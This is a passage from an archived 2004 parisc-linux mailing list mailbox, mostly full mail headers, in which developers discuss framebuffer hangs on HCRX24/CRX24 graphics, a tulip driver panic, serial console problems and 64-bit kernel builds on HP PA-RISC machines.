	by www.puszczka.com with HTTP; Tue, 26 Oct 2004 09:52:24 +0200 (CEST)
In-Reply-To: <200410031355.12116.j.raspe@t-online.de>
User-Agent: SquirrelMail/1.4.3a
X-Mailer: SquirrelMail/1.4.3a
X-Priority: 3 (Normal)
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24986

> Hi Andy,
>
> did you find a solution for the stifb-problem?
> I encounter the same problem with a 735/125 with CRX24 graphics. Kernel
> 2.4.27
> works fine, any 2.6.x-kernel I tried gives me a hang.
>
> Johannes
>
> --


Hi Johannes & PA,

Johannes dragged up this old mail of mine as he has been having FB
related problems with CRX24 on his 735/125.

In my case, 32bpp FB on HCRX24 (Hyperbowl) on my B132L stopped working
at the time the FB reorganization patches went into the early 2.6
kernels. I have successfully been running 2.6.7-pa1 in 8bpp though.

Last night I compiled and booted 2.6.9-pa1. FB is totally hosed also
in 8bpp now. When the kernel switches to FB the screen gets "splattered"
with blue and red buffer debris and the machine hangs.

Looks like CRX/HCRX is suffering from chronic bitrot, possibly exarcebated
by the ia32/ia64-centric FB patches that have been going in lately.

So, is there anyone (Helge?) who has time and knowledge to look into
this? I can boot the B132L with the console on Vis-EG and torture the
HCRX24 on fb1 if that helps, but some clues would be good.

-Andy


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.9-bk6-pa4:Tuip driver broken on n4k
Date: Wed, 27 Oct 2004 12:27:20 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20041027112720.GG3450@parcelfarce.linux.theplanet.co.uk>
References: <41617480000075DF@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624498 26358 80.91.229.3 (22 Nov 2014 02:48:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11996 invoked by uid 65534); 27 Oct 2004 11:27:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 27 Oct 2004 13:27:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6940F3BE2D; Wed, 27 Oct 2004 05:27:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06312-01; Wed, 27 Oct 2004 05:27:46 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 06A1B3BE36; Wed, 27 Oct 2004 05:27:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E29F3BE26
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 05:27:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05248-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 05:27:22 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DC6C83BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 05:27:21 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 8BD2B4949A3; Wed, 27 Oct 2004 05:27:21 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 210FC4949A2
	for <parisc-linux@parisc-linux.org>;
	Wed, 27 Oct 2004 05:27:21 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CMlxY-000437-CH; Wed, 27 Oct 2004 12:27:20 +0100
Content-Disposition: inline
In-Reply-To: <41617480000075DF@mail-4-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24987

On Wed, Oct 27, 2004 at 12:26:25PM +0200, Joel Soete wrote:
> Hello pa,
> 
> Unfortunately, the tulip driver seems to be broken on this n4k:
> the boot sequence start fine until message:
> Linux Tulip driver version 1.1.13 (May 11, 2002)
> 
> then system panic
> (unfortunately I don't have any way to grab pimfo on this system)
> 
> Any idea?

Not really, I have both a built-in tulip and a quad-port tulip card in
my c3600 and it works just fine.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dimitar Atanasov" <d.atanasov@nek.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Troubles with console on HP9000 rp3440
Date: Wed, 27 Oct 2004 16:22:34 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <200410271322.QAA23840@mail.nek.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624498 26361 80.91.229.3 (22 Nov 2014 02:48:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:18 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12339 invoked by uid 65534); 27 Oct 2004 13:23:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx048) with SMTP; 27 Oct 2004 15:23:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4B9D93BDFC; Wed, 27 Oct 2004 07:23:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07754-03; Wed, 27 Oct 2004 07:23:12 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C964C3BE36; Wed, 27 Oct 2004 07:22:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69BD73BDFC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 07:22:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07441-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 07:22:52 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 26F293BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 07:22:52 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4D0364949A3; Wed, 27 Oct 2004 07:22:51 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.nek.bg (unknown [195.34.114.81])
	by palinux.hppa (Postfix) with ESMTP id C19504940E0
	for <parisc-linux@parisc-linux.org>;
	Wed, 27 Oct 2004 07:22:48 -0600 (MDT)
Original-Received: from it-mitko.int.nek.bg ([172.22.1.15]) by fw.nek.bg;
	Wed, 27 Oct 2004 16:22:42 +0300 (EEST)
X-Mailer: Microsoft Office Outlook, Build 11.0.5510
Thread-Index: AcS8KAVNXzA1jXYhQcizAS/EGEaJZQ==
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24988

Hello Pa-Risc!
I try to install linux on HP 9000 rp 3440. I connect to console over null
modem cable, and I start the install from the boot cd. But I lost the
output. The installation says that the output is on ttyS0 but I can't find
it. I search all com ports and other consoles but I didn't see anything
anywhere.
Please help if you have any ideas.
I have read the manual but I have no such things on my console commands, or
may be I didn't understand the procedure.



Regards,
Dimitar Atanasov
NEK EAD.



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.9-bk6-pa4:Tuip driver broken on n4k
Date: Wed, 27 Oct 2004 17:33:34 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20041027163334.GL3450@parcelfarce.linux.theplanet.co.uk>
References: <41617480000076DA@mail-4-bnl.tiscali.it>
	<41617600000072E0@mail-8-bnl.mail.tiscali.sys>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624499 26363 80.91.229.3 (22 Nov 2014 02:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14101 invoked by uid 65534); 27 Oct 2004 16:34:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 27 Oct 2004 18:34:22 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8C5F73BE3E; Wed, 27 Oct 2004 10:34:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09884-07; Wed, 27 Oct 2004 10:34:01 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EF2343BE40; Wed, 27 Oct 2004 10:33:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 761AD3BE2D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 10:33:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 09927-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 10:33:37 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 424EF3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 10:33:37 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id CA71F494A36; Wed, 27 Oct 2004 10:33:36 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id 51360494A35
	for <parisc-linux@parisc-linux.org>;
	Wed, 27 Oct 2004 10:33:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CMqju-0001Sw-Vz; Wed, 27 Oct 2004 17:33:35 +0100
Content-Disposition: inline
In-Reply-To: <41617600000072E0@mail-8-bnl.mail.tiscali.sys>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24989

On Wed, Oct 27, 2004 at 06:29:49PM +0200, Joel Soete wrote:
> I am ongoing to rebuild a 64bit kernel for the b2k.
> (btw: Matthew, i supposed that you are also running a 32bit kernel on you
> c model?)

Yes, I can't get a 64-bit kernel to work.  gcc 3.4 compiled kernels stop
before the console is initialised; gcc 3.3 compiled kernels boot to the
point of displaying a login prompt, but refuse ssh connections and input
on console.

Other people have functional 64-bit kernels compiled with gcc 3.3,
so I don't know what I'm doing wrong.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.9-bk6-pa4:Tuip driver broken on n4k
Date: Wed, 27 Oct 2004 18:46:30 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <41617600000072F3@mail-8-bnl.mail.tiscali.sys>
References: <20041027163334.GL3450@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624499 26365 80.91.229.3 (22 Nov 2014 02:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3785 invoked by uid 65534); 27 Oct 2004 16:47:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx036) with SMTP; 27 Oct 2004 18:47:01 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9CC073BE2D; Wed, 27 Oct 2004 10:46:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10046-08; Wed, 27 Oct 2004 10:46:54 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9F0C03BE3E; Wed, 27 Oct 2004 10:46:43 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 01C543BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 10:46:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10108-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 10:46:36 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C2D9D3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 10:46:36 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 59ED5494A36; Wed, 27 Oct 2004 10:46:36 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-1.tiscalinet.it (mrq-1.tiscalinet.it [212.123.84.71])
	by palinux.hppa (Postfix) with ESMTP id 46F4A494A35
	for <parisc-linux@parisc-linux.org>;
	Wed, 27 Oct 2004 10:46:35 -0600 (MDT)
Original-Received: from mail-8-bnl.tiscali.it (10.39.115.138) by mrq-1.tiscalinet.it
	(7.0.028) id 4100CA59001B9A37; Wed, 27 Oct 2004 18:45:32 +0200
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Wed, 27 Oct 2004 18:46:30 +0200
In-Reply-To: <20041027163334.GL3450@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24990

> On Wed, Oct 27, 2004 at 06:29:49PM +0200, Joel Soete wrote:
> > I am ongoing to rebuild a 64bit kernel for the b2k.
Well it boot fine:
the printk linux_banner being:
Linux version 2.6.9-bk6-pa5-b2k64 (root@patst005) (gcc version 3.0.4) #2
Wed Oct 27 18:27:54 CEST 2004

and from a ssh connection:
jso@patst005:~$ uname -a
Linux patst005 2.6.9-bk6-pa5-b2k64 #2 Wed Oct 27 18:27:54 CEST 2004 paris=
c64
GNU/Linux

So the pb is else where, definitively I need this lanconsole connection
to grab more easily a piminfo in the hope to get a better starting point
;)

> > (btw: Matthew, i supposed that you are also running a 32bit kernel on=

you
> > c model?)
> 
> Yes, I can't get a 64-bit kernel to work.  gcc 3.4 compiled kernels sto=
p
> before the console is initialised; gcc 3.3 compiled kernels boot to the=

> point of displaying a login prompt, but refuse ssh connections and inpu=
t
> on console.
> 
Well for the two systems I still used (may be outdated but still usefull)=

gcc-3.0

> Other people have functional 64-bit kernels compiled with gcc 3.3,
> so I don't know what I'm doing wrong.
> 
Unfortunately I couldn't help on this matter :(

Thanks again,
    Joel



-------------------------------------------------------------------------=
--
Tiscali ADSL GO & Light, 2 mois gratuits, profitez-en...
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.9-bk6-pa4: serial console fixed for b180, n4k
Date: Wed, 27 Oct 2004 12:18:38 +0200
Lines: 55
Approved: news@gmane.org
Message-ID: <41617480000075D0@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624499 26366 80.91.229.3 (22 Nov 2014 02:48:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11061 invoked by uid 65534); 27 Oct 2004 10:19:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 27 Oct 2004 12:19:54 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4973B3BDFC; Wed, 27 Oct 2004 04:19:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05092-01; Wed, 27 Oct 2004 04:19:31 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E77183BE26; Wed, 27 Oct 2004 04:18:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 369EC3BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 04:18:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03408-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 04:18:44 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 111BA3BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 27 Oct 2004 04:18:44 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2F36F4949A3; Wed, 27 Oct 2004 04:18:43 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mrq-2.tiscalinet.it (mrq-2.tiscalinet.it [212.123.84.72])
	by palinux.hppa (Postfix) with ESMTP id 3F3D44949A2
	for <parisc-linux@parisc-linux.org>;
	Wed, 27 Oct 2004 04:18:42 -0600 (MDT)
Original-Received: from mail-4-bnl.tiscali.it (10.39.115.134) by mrq-2.tiscalinet.it
	(7.0.028) id 4137280B00194EF5 for parisc-linux@parisc-linux.org;
	Wed, 27 Oct 2004 12:23:18 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Wed, 27 Oct 2004 12:18:38 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
